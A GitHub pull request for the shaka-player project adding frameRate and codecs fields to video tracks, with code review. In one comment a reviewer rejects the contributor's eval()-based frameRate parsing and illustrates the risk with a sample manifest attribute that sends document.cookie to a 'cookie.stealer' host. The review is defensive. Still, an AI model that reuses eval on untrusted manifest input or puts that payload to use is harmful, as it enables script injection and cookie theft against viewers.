Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Provide framerate and codecs information on video tracks #533

Merged
merged 8 commits into from
Sep 28, 2016

Conversation

birme
Copy link
Contributor

@birme birme commented Sep 24, 2016

Solves #516

Copy link
Member

@joeyparrish joeyparrish left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for taking a look at this!

* @property {?number} frameRate
* (only for video tracks) The video framerate provided in the manifest.
* @property {?string} codecs
* (only for audio and video tracks) The audio/video codecs string provided
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Text streams can also have a codecs string, although it is not always required. I suggest dropping the parenthetical statement and adding the caveat "if present" after "in the manifest".

@@ -129,6 +131,11 @@ shakaExtern.Stats;
* (only for video tracks) The width of the track in pixels.
* @property {?number} height
* (only for video tracks) The height of the track in pixels.
* @property {?number} frameRate
* (only for video tracks) The video framerate provided in the manifest.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This information is not required or used in streaming or setup, so how about"provided in the manifest, if present."

@@ -810,6 +813,7 @@ shaka.dash.DashParser.prototype.parseAdaptationSet_ = function(context, elem) {
}
}


Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Style nit: drop this extra line, please

var frameRate = XmlUtils.parseAttr(elem, 'frameRate',
function(expr) {
// frameRate can be an expression e.g. "1000000/42000"
return parseFloat(String(eval(expr)));
Copy link
Member

@joeyparrish joeyparrish Sep 26, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sorry, but for security reasons, we will absolutely not accept "eval".

Imagine somebody sends you a manifest with:

<Representation
  frameRate="window.href='http://cookie.stealer/?'+document.cookie"
/>

Or literally any other malicious thing you can think of: full-screen ads, redirection to a phishing site, anything.

If you need to parse a fraction, you'll have to write a parser. Perhaps you could add it to XmlUtils.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Oh, of course. Very sorry about this. Don't know what I was thinking. Will fix this of course

@@ -47,7 +47,9 @@ shaka.offline.OfflineUtils.getStoredContent = function(manifest) {
language: stream.language,
kind: stream.kind || null,
width: stream.width,
height: stream.height
height: stream.height,
frameRate: stream.frameRate || null,
Copy link
Member

@joeyparrish joeyparrish Sep 26, 2016

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You'll need to add frameRate and codecs to the externs for streams stored in the database (shakaExtern.StreamDB), and you'll need to add these properties to the code which stores streams offline (shaka.offline.Storage.prototype.createStream_).

var n;
if (res = exprString.match(/^(\d+)\/(\d+)$/)) {
n = Number(res[1] / res[2]);
} else if (res = exprString.match(/^([0-9]\.)$/)) {
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

With this match, Number(res[1]) is the same as Number(exprString), so I would just drop this else if completely.

@@ -136,13 +136,15 @@ describe('DashParser.Manifest', function() {
.presentationTimeOffset(0)
.mime('video/mp4', 'avc1.4d401f')
.bandwidth(100)
.frameRate(23.80952380952380952380)
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The precision here is worrying. Are all of these digits required to get a match out of Jasmine?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

To be honest I haven't tested with a lower precision so I don't know if all of these digits are required

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I did a test and it seems that Jasmine requires full precision here.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Okay, then. Please add a comment like:

// TODO: get Jasmine to match with less precision

And my team will work on it later.

@shaka-bot
Copy link
Collaborator

Testing in progress...

@shaka-bot
Copy link
Collaborator

All tests passed!

@joeyparrish joeyparrish merged commit a060050 into shaka-project:master Sep 28, 2016
@joeyparrish
Copy link
Member

Thanks!

@github-actions github-actions bot added the status: archived Archived and locked; will not be updated label Jul 25, 2023
@github-actions github-actions bot locked as resolved and limited conversation to collaborators Jul 25, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
status: archived Archived and locked; will not be updated
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants